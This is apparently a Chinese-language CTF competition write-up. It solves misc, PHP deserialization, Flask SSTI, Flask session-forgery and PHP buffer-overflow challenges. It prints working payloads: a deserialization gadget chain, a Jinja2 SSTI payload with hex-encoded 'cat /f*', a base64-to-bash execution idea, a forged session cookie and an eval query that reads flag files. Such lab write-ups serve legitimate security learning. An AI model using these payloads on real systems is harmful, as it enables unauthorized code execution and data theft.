先总结一下,这次比赛算是本人比较突破自我的一次,因为以前我根本不会看难题,甚至中等题都是不怎么看的,但这次做出来了反序列化和溢出class,所以要相信自己
最遗憾的是class这题,第一次遇到web结合pwn的题,好不容易分析出rce但当时可能环境有问题一直无法读无法写但能curl,后面发现又可以读了?于是比赛结束后偷偷上个榜哈哈
热身
flag是”一个不能说的秘密”,让我想起了铁人三项那个flag_is_here,呵呵
MISC
奇怪的压缩包
伪加密,修改2出0900为0000
打开后是个图片,发现高被改了,再用winhex改一下高,显示出完整图片
试了各种编码和解密,发现都不行,最后用文件分离出了一个带密码的压缩包,用这串字符当做解压密码解压一下,发现不对,于是打开winhex,看到文件结尾有一串key,解码base64后打开图片再改一下高度获得flag
其他MISC看了一眼琴柳感没思路就看web了,毕竟咱是web手
WEB
easy_signin
为数不多的题目难度和描述一样的题,进去是个贴吧滑稽(不过这表情疑似被很多吧禁了),对着图片审查元素,发现是base64编码的图片,瞟了眼url一眼任意文件读取,解码base64后发现就是文件名,读一下index.php,看看源码,源码里就直接给了flag
被遗忘的反序列化
好久没做反序列化的题,还好没忘
难度还好,就是**$_SERVER**这个点没见过
看了一遍源码,先关注wuw这个类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| class w_wuw_w{ public $aaa; public $key; public $file; public function __wakeup(){ if(!preg_match("/php|63|\*|\?/i",$this -> key)){ $this->key = file_get_contents($this -> file); }else{ echo "不行哦"; } }
public function __destruct(){ echo $this->aaa; }
public function __invoke(){ $this -> aaa = clone new EeE; } }
|
反序列化之前先触发wakeup,所以先看这个方法,检测key中是否有关键词(这个检测给我整乐了,我一度认为是出题人写错了,把file写成了key,因为我没看懂这个检测有什么意义,要么你在key读取到文件内容后检测,要么你检测file,你上来就检测key是啥意思)
把读取file的内容给key,然后结束时显示aaa,这里我们就要让aaa和key的内容一样我们才能看到内容,所以要让aaa成为key的引用来绑定他们俩,这样key是啥aaa就是啥
题目中include了一个check.php,我们用这个读取一下
1 2 3 4 5
| $a=new w_wuw_w(); $a->aaa=&$a->key; $a->file="check.php";
|
这里传值的时候要在header中加入这个AAAAAA,可能很多师傅卡在这了
check.php的源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| function cipher($str) {
if(strlen($str)>10000){ exit(-1); }
$charset = "qwertyuiopasdfghjklzxcvbnm123456789"; $shift = 4; $shifted = "";
for ($i = 0; $i < strlen($str); $i++) { $char = $str[$i]; $pos = strpos($charset, $char);
if ($pos !== false) { $new_pos = ($pos - $shift + strlen($charset)) % strlen($charset); $shifted .= $charset[$new_pos]; } else { $shifted .= $char; } }
return $shifted; }
|
简单分析一下后发现是凯撒移位密码,网上找个工具或者脚本还原,或者自己逆向一下也行,反正我是没找到能解密成功的凯撒密码网站
解密一下cycycy类的cipher密文
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| function decipher($str) {
if(strlen($str)>10000){ exit(-1); } $charset = "qwertyuiopasdfghjklzxcvbnm123456789"; $shift = 4; $deciphered = ""; for ($i = 0; $i < strlen($str); $i++) { $char = $str[$i]; $pos = strpos($charset, $char); if ($pos !== false) { $new_pos = ($pos + $shift) % strlen($charset); $deciphered .= $charset[$new_pos]; } else { $deciphered .= $char; } } return $deciphered; }
|
解密后原来的是:fe1ka1ele1efp
现在我们要做的就是编写利用链来触发aaa从而RCE
这里我说下我做这种题的一个思路,我一般是倒着推,比如这一题最终利用aaa来rce,那么我们就从谁触发了aaa函数来推
EeE的_clone方法能触发cycycy的aaa,w_wuw_w的__invoke方法能触发EeE的clone,gBoBg的_toString方法如果让aa为w_wuw_w类则能触发wuw的_invoke,给EeE的text赋值为gBoBg,EeE的_wakeup方法能触发gBoBg的toString
最后我们给gBoBg的属性赋值来进入else语句
1 2 3 4 5
|
$g_class=new gBoBg(); $g_class->file="Lanb0";
|
最终构造链子如下:这里要注意把private变量删掉,因为header头不会自动解码url,而private变量的序列化含有不可见字符,所以无法正确传值
1 2 3 4 5
| $lanb0=new EeE(); $gBoBg=$lanb0->text=new gBoBg(); $gBoBg->file="any"; $w_wuw_w=$gBoBg->coos=new w_wuw_w();
|
构造好一切后先ls看目录
h1nt.txt没用,读根目录看看文件,然后直接读根目录下的f1agaaa获得flag
easy_ssti
打开题目,没啥东西,看源代码提示下载app.zip
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| from flask import Flask from flask import render_template_string,render_template app = Flask(__name__)
@app.route('/hello/') def hello(name=None): return render_template('hello.html',name=name) @app.route('/hello/<name>') def hellodear(name): if "ge" in name: return render_template_string('hello %s' % name) elif "f" not in name: return render_template_string('hello %s' % name) else: return 'Nonononon'
|
很明显的flask ssti
因为我们最后要读取flag,所以控制语句进入ge
1
| {{"ge"._class_.__base__.__subclasses__}}//查找所有可用模块
|
这是一个找模块的python脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| ''' __author__:lanb0 '''
import re import requests
input_str = requests.get(url=r'http://460e222d-900a-47c8-bb03-81ec389f5cf6.challenge.ctf.show/hello/%7B%7B%22ge%22.__class__.__base__.__subclasses__()%7D%7D').text
search_str = "os"
matches = re.findall(r"'(.*?)'", input_str)
for i in range(len(matches)): if search_str in matches[i]: print("Found at position:", i+1,str(matches[i]))
|
经过检测,后端过滤了斜杠和反斜杠(‘\‘,’/‘),一出现这些就会报错404
有两种方法
第一种是用hex编码关键字,比如这条payload用hexo编码了cat /f*
1 2
| #payload {{"ge".__class__.__base__.__subclasses__()[133].__init__.__globals__['__builtins__'].__import__('os').popen('\x63\x61\x74\x20\x2f\x66\x2a').read()}}
|
第二种方法是popen里执行一个base64编码的命令
1
| echo "编码后的命令" | base64 --decode | bash
|
但这种方法需要用subprocess库才能回显,所以我们第一条payload不适用,不过有兴趣的师傅可以试试能不能弹shell出去
还有一点,就是system和popen函数都可以执行函数,但为什么我们都用popen,就是因为popen有read方法,否则只会执行不会回显结果
这里推荐一篇写的非常仔细的总结jinja2的SSTI的文章
[https://blog.csdn.net/qq_38154820/article/details/129861556?spm=1001.2014.3001.5501]: “STI之细说jinja2的常用构造及利用思路_合天网安实验室的博客-CSDN博客<”
easy_flask
一个登录界面,题目时flask所以还是先不试sql注入了,直接注册一个用户看看葫芦里卖的什么药
登录后点击learn,是个教学页面,不过直接把key泄露出来了(和22年某次安全事件的起因:有内部人员在做教学帖子时在CSDN上直接copy数据库的key有异曲同工之妙)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
| from flask import Flask, render_template, request, redirect, url_for, session, send_file, Response
app = Flask(__name__)
app.secret_key = 'S3cr3tK3y'
users = {
}
@app.route('/') def index():
if 'loggedin' in session: return redirect(url_for('profile')) return redirect(url_for('login'))
@app.route('/login/', methods=['GET', 'POST']) def login(): msg = '' if request.method == 'POST' and 'username' in request.form and 'password' in request.form: username = request.form['username'] password = request.form['password'] if username in users and password == users[username]['password']: session['loggedin'] = True session['username'] = username session['role'] = users[username]['role'] return redirect(url_for('profile')) else: msg = 'Incorrect username/password!' return render_template('login.html', msg=msg)
@app.route('/register/', methods=['GET', 'POST']) def register(): msg = '' if request.method == 'POST' and 'username' in request.form and 'password' in request.form: username = request.form['username'] password = request.form['password'] if username in users: msg = 'Account already exists!' else: users[username] = {'password': password, 'role': 'user'} msg = 'You have successfully registered!' return render_template('register.html', msg=msg)
@app.route('/profile/') def profile(): if 'loggedin' in session: return render_template('profile2.html', username=session['username'], role=session['role']) return redirect(url_for('login'))
........
|
这里的key是flask session的,要注意jwt token和flask session的区别,如果你用session去jwt.io解密那么大概率是header部分是卸载信息的,但是负载部分是乱码,我们这里直接模拟一个同样密钥的key伪造一个flask session
我们可以用模拟登陆的方法,自己写一个简单的flask服务,根据提示把role都改为admin
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| from flask import Flask, session
app = Flask(__name__) app.secret_key = 'S3cr3tK3y' @app.route('/login') def login(): session['loggedin'] = True session['username'] = 'admin' session['role'] = 'admin' return "登录成功!"
app.run()
|
打开浏览器访问login看一眼cookie就行能拿到伪造后的session
1
| .eJyrVsrJT09PTcnMU7IqKSpN1VEqys9JVbJSSkzJBYrpKJUWpxblJeYihGoBzOYRgA.ZCrqrw.U67c2r-uuNnWyElkalgf4Wo3dm
|
带上伪造的session访问/profile
发现多了个click here,可以下载一个fakeflag.txt,打开看看还真是假的flag,用一系列misc检测没有什么异常
回到页面,既然是下载那么有可能任意文件下载
,看源码果然是
1 2 3
| <p>Congratulations! You can download the fakeflag: <a href="/download/?filename=fakeflag.txt"><i class="fas fa-download"></i> Click here</a></p>
|
我们把整个app.py下载下来,发现还有个hello路由
1 2 3 4 5 6 7 8 9 10 11
| @app.route('/hello/') def hello_world(): try: s = request.args.get('eval') return f"hello,{eval(s)}" except Exception as e: print(e) pass return "hello"
|
eval直接传入交互式语句拿到flag
1
| ?eval=__import__('os').popen('cat /f*').read()
|
easy_class
这题到比赛结束只有7解,可惜当时没时间不然感觉能出,卡了两个点,一个是如何用post传空字符,另一个点时不知道为什么当时做的时候rce一直没有回显,但提权的命令和反弹shell又超了长度限制,最离谱的是赛后继续开环境做的时候就可以直接读flag了?
题目就是一个php页面,页面的功能是用php语言手动编写了一个缓存键值对的机制,期间长度不够的程序会自动用空字符\x00填充,最后执行一个回调函数。
这道题考察了一点pwn栈溢出知识,你可以像笔者这样像个大冤种一样一个一个代码审,但最佳的方法应该是大致看下各个函数,大概看懂后,我们在关键函数中输出当前的各个全局变量,来确定全局变量(不会有人一个个手算执行过程吧)
过程没法说的太详细,因为真的挺繁琐的,师傅们有兴趣自己审审
主要就是cache开了一个php缓存流,然后存入几个键值对,最后让你post一个值,你要利用这个post的值(空字符填充,ban掉了’\x00’就用’\0’)来把原始的$f和$p冲掉来换成自己的值最后利用call_user_func来RCE
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| public function __destruct(){ $this->readNeaten(); fclose($this->cache); } -> -> private function readNeaten(){ rewind($this->cache); fseek($this->cache, $this->ref_table['_clear_']+self::__REF_SIZE__); $f = $this->truncation(fread($this->cache, self::__REF_SIZE__-4)); $t = $this->truncation(fread($this->cache, self::__REF_SIZE__-12)); $p = $this->truncation(fread($this->cache, self::__REF_SIZE__)); echo '$f的值是'.$f." ".'$p的值是'.$p; call_user_func($f,$p);
}
|
这里有个技巧,就是自己本地改下源代码,把执行readNeatten方法时的cache,ref_table都显示出来,然后根据还需要填充多少个字符才能冲掉程序自己补的空字符\x00
还有个需要注意的,最开始填充$f的时候可以随便写字符,数字,字母都可以,但填充$p的时候因为$f和$p是连着的,所以我们需要用空字符来填充,这样他们就不会连在一起了还不会被填充的字符干扰
还有最容易踩坑的一点就是传参时,空字符要用**%00**来传,否则会被识别为乱码!!!,这里卡了笔者半天
最后构造好能够冲掉$p和$f的data,post过去触发rce拿flag
虽然比赛结束了,但还能提交flag,哈哈,第9个解的,我怀疑前面第8名那个老哥也是发现突然可以读了